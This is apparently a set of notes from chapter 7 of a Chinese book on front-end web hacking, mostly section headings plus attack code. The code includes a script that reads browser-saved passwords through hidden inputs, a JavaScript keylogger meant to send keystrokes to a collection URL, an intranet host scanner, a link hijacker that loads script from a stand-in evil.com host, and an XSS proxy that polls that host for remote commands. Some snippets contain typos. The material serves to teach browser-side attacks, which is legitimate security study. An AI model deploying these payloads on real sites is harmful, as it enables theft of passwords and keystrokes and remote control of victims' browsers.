web前端黑客技术揭秘 7.漏洞利用

7.1　　渗透前的准备

 

7.2　　偷取隐私数据

7.2.1　　XSS探针：xssprobe

　　https://github.com/evilcos/xssprobe/

 

 。。。。。。。。。。。。。

 7.2.2　　Referer惹的祸

7.2.3　　浏览器记住的明文密码

            get_pwd=function(){
                var e=document.createElement("input");
                e.name=e.type=e.id="password";
                document.getElementsByTagName("head")[0].appendChild(e);
                //往head添加就隐藏了
                setTimeout(function(){
                    alert("I can see ur pwd"+document.getElementById("password").value);
                },2000);
            }

        get_pwd = function () {
            var f = document.createElement("form");
            document.getElementsByTagName("head")[0].appendChild(f);
            //往head添加就隐藏了
            var e1 = document.createElement("input");
            e1.type = "text";
            e1.name = e1.id = "username";
            f.appendChild(e1);
            var e = document.createElement("input");
            e.name = e.type = e.id = "password";
            f.appendChild(e);
            setTimeout(function () {
                alert("I can see ur pwd:" + document.getElementById("password").value);
            }, 2000);
        }

7.2.4　　键盘记录器

 

    var steal = "";//键盘记录发送地址
    var keystirng = "";//键盘记录的字符串

    function keypress(e) {//onkeypress时的操作
        var currKey = 0, CapsLock = 0, e = e || event;
        currKey = e.keyCode || e.which || e.charCode;
        CapsLock = currKey >= 65 && currKey <= 90;
        switch (currKey) {
            case 8: case 9: case 13: case 32: case 37: case 38: case 39: case 46: keyName = "";

                break;

            default:
                keyName = string.formCharCode(currKey);
                break;
        }
        keystirng += keyName;
    }

    function keydown(e) {//onkeydown 时的操作
        var e = e || event;
        var currKey = e.keyCode || e.which || e.charCode;
        if ((currKey < 7 && currKey < 14) || (currKey > 31 && currKey < 47)) {
            switch (currKey) {
                case 8:
                    keyName = "[LF]";
                    break;
                case 9:
                    keyName = "[TAB]";
                    break;
                case 13:
                    keyName = "[CR]";
                    break;
                case 32:
                    keyName = "[SPACE]";
                    break;
                case 33:
                    keyName = "[PageUp]";
                    break;
                case 34:
                    keyName = "[PageDown]";
                    break;
                case 35:
                    keyName = "[End]";
                    break;
                case 36:
                    keyName = "[Home]";
                    break;
                case 37:
                    keyName = "[LEFT]";
                    break;
                case 38:
                    keyName = "[UP]";
                    break;
                case 39:
                    keyName = "[RIGHT]";
                    break;
                case 40:
                    keyName = "[DOWN]";
                case 46:
                    keyName = "[DEL]";
                    break;
                default:
                    keyName = "";
                    break;
            }
            if (keyName == "[CR]") { //如果是回车键，则提交键盘记录
                //发出请求。steal+keystirng
            }
            keystirng += keyName;
        }
    }
    function keyup(e) {//onkeyup时的操作
        return keystirng;
    }
    function blur() {//onblur时的操作，离开焦点
        //。。。省略发送请求：steal_url+keystring
    }
    function bindEvent(o, e, fn) {//绑定事件的通用函数
        //o 绑定的标签对象
        //e 绑定的事件
        //fn 绑定后执行的函数
        if (typeof o == "undefined" || typeof e == "undefined" || typeof fn == "undefined" || o == null) {
            return false;
        }

        if (o.addEventListener) {
            o.addEventListener(e, window[fn], false);
        } else if (o.attachEvent) {    //IE
            o.attachEvent("on" + e, window[fn]);
        } else {
            var oldhandler = o["on" + e];
            if (oldhandler) {
                o["on" + e] = function (x) {
                    oldhandler(x);
                    window[fn]();
                }
            } else {
                o["on" + e] = function (x) {
                    window[fn]();
                }
            }
        }
        o.focus();
    }
    o = document;//要监听的对象可以是整个document或某个表单项
    bindEvent(o, 'keypress', "keypress");
    bindEvent(o, 'keydown', "keydown");
    bindEvent(o, 'keyup', "keyup");
    bindEvent(o, 'blur', "blur");

 7.2.5　　偷取黑客隐私的一个小技巧

 

7.3　　内网渗透技术

7.3.1　　获取内网IP

7.3.2　　获取内网IP端口

7.3.3　　获取内网主机存活状态

    function _pingscan(url,timeout){
        
        var d=new Date;
        if(window.xDomainRequest){ //IE8、IE9下
            var req=new XDomainRequest();
            req.onerror=fndprocessRequest;//发生错误时表明目标存活
            req.ontimeout=errprocessRequest;//发生超时时表明目标不存活
            req.timeout=timeout;//设置超时值
            function errprocessRequest(){
                alert(/down/);
            }
            function fndprocessRequest(){
                alert(/live/);
            }
        } else if(window.XMLHttpRequest){
            var req=new XMLHttpRequest();
            req.onreadystatechange=processRequest;
            function processRequest(){
                if(req.readyState==4){
                    var d2=new Date;
                    var time=d2.getTime()-d.getTime();
                    if(time<timeout){//小于超时值
                        if(time>10){//大于10毫秒，这个条件判断可以忽略
                            alert(/live/);//在指定超时值之内请求完成，则表明存活
                        }
                    }else{
                        alert(/down/);//否则不存活
                    }
                }
            }
        }else return;
        req.open("get",url);
        req.send();
    }

7.3.4　　开启路由器的远程访问能力

 

7.3.5　　内网脆弱的Web应用控制

<script>
    window.onerror=function(){
        return true;
    }
    function y(){
        if(typeof(TracWysiwyg)=="function") alert("trac exist.");
    }

</script>
<script src="https://192.168.1.2/trac/chrome/tracwysiwyg/wysiwyg.js" onload="y()" onreadystatechange="y()"></script>

7.4　　基于CSRF的攻击技术

 

7.5　　浏览器劫持技术

<body>
    <!--劫持链接对象-->
    <a href="test1.html">test1.html</a><br/>
    <a href="test2.html">test2.html</a>
    <script>
        function script2obj(window_obj,src){
            s=window_obj.document.createElement("script");
            s.src=src;
            window_obj.document.getElementsByTagName("body")[0].appendChild(s);
        }
        function hijack_links(js){
            /* 劫持链接点击，参数说明：
            js:注入打开的同域链接页面的目标js文件*/
            for (i=0;i<document.links.length;i++) {
                //遍历链接对象，劫持onclick事件
                document.links[i].onclick=function(){
                    x=window.open(this.href);//获取打开新窗口的对象
                    setTimeout("script2obj(x,'"+js+"')",2000);
                    //延迟2秒向打开的劫持链接对象的DOM树中注入alert.js文件
                    return false;
                }
            }
        }
        hijack_links("http://www.evil.com/alert.js")
    </script>
</body>

 

7.6　　一些跨域操作技术

7.6.1　　IE res:协议跨域

7.6.2　　CSS String　Injection跨域

7.6.3　　浏览器特权区域风险

7.6.4　　浏览器扩展风险

 

 

7.6.5　　跨子域：document.domain技巧

 

7.6.6　　更多经典的跨域索引

 

7.7　　XSS Proxy技术

        function inj_script(src,onload){
            o=document.createElement("script");
            o.src=src;
            if(onload){
                if(!window.ActiveObject){
                    o.onload=onload;
                }else{
                    o.onreadystatechange=function(){
                        if(o.readyState=="loaded" || o.readyState=="complete"){
                            onload();
                        }
                    }
                }
            }
            document.getElementsByTagName("body0")[0].appendChild(o);
            return o;
        }
        function remove_obj(o){
            document.body.removeChild(o);
        }
        setInterval(function(){
            var rtcmd=inj_script("http://www.evil.com/rtcmd?date="+new Date().getTime());
            setTimeout(function(){
                remove_obj(rtcmd);
            },500);
        },3000);

7.7.3　　服务器WebSocket推送请求

        var wsUri = "ws://echo.websocket.org/";
        //ws://协议表示这是WebSocket服务端地址
        var output;
        function init() {
            output = document.getElementById("output");
            testWebSocket();
        }
        function testWebSocket() {
            websocket = new WebSocket(wsUri);//新建一个连接
            websocket.onopen = function (evt) {//当连接创建时，触发
                onOpen(evt);
            };
            websocket.onclose = function (evt) {
                //当连接关闭，触发
                onClose(evt);
            }

            websocket.onmessage = function (evt) {
                //当接收到服务端发送过来的消息时，触发
                onMessage(evt);
            }
            websocket.onerror = function (evt) {
                //当错误时，触发
                onError(evt);
            }
        }
        function onOpen(evt){
            writeToScreen("CONNECTED");
            doSend("WebSocket rocks");
        }
        function onClose(evt){
            writeToScreen("DISCONNECTED");
        }
        function onMessage(evt){
            writeToScreen("<span style='color:blue'>RESPONSE:"+evt.data+"</span>");
            websocket.close();
        }
        function onError(evt){
            writeToScreen("<span style='color:red'>ERROR:"+evt.data+"</span>");
        }
        function doSend(message){
            writeToScreen("SENT:"+message);
            websocket.send(message);//发送消息到服务器
        }
        function writeToScreen(message){
            var pre=document.createElement("p");
            pre.style.wordWrap="break-word";
            pre.innerHTML=message;
            output.appendChild(pre);    
        }
        window.addEventListener("load",init,false);

7.7.4　　postMessage方式推送指令

7.8　　真实案例剖析

7.8.1　　高级钓鱼工具之百度空间登录DIV层钓鱼

7.8.2　　高级钓鱼工具之Gmail正常服务钓鱼

7.8.3　　人人网跨子域盗取MSN号

7.8.4　　跨站获取更高权限

7.8.5　　大规模XSS攻击思想

7.9　　关于XSS利用框架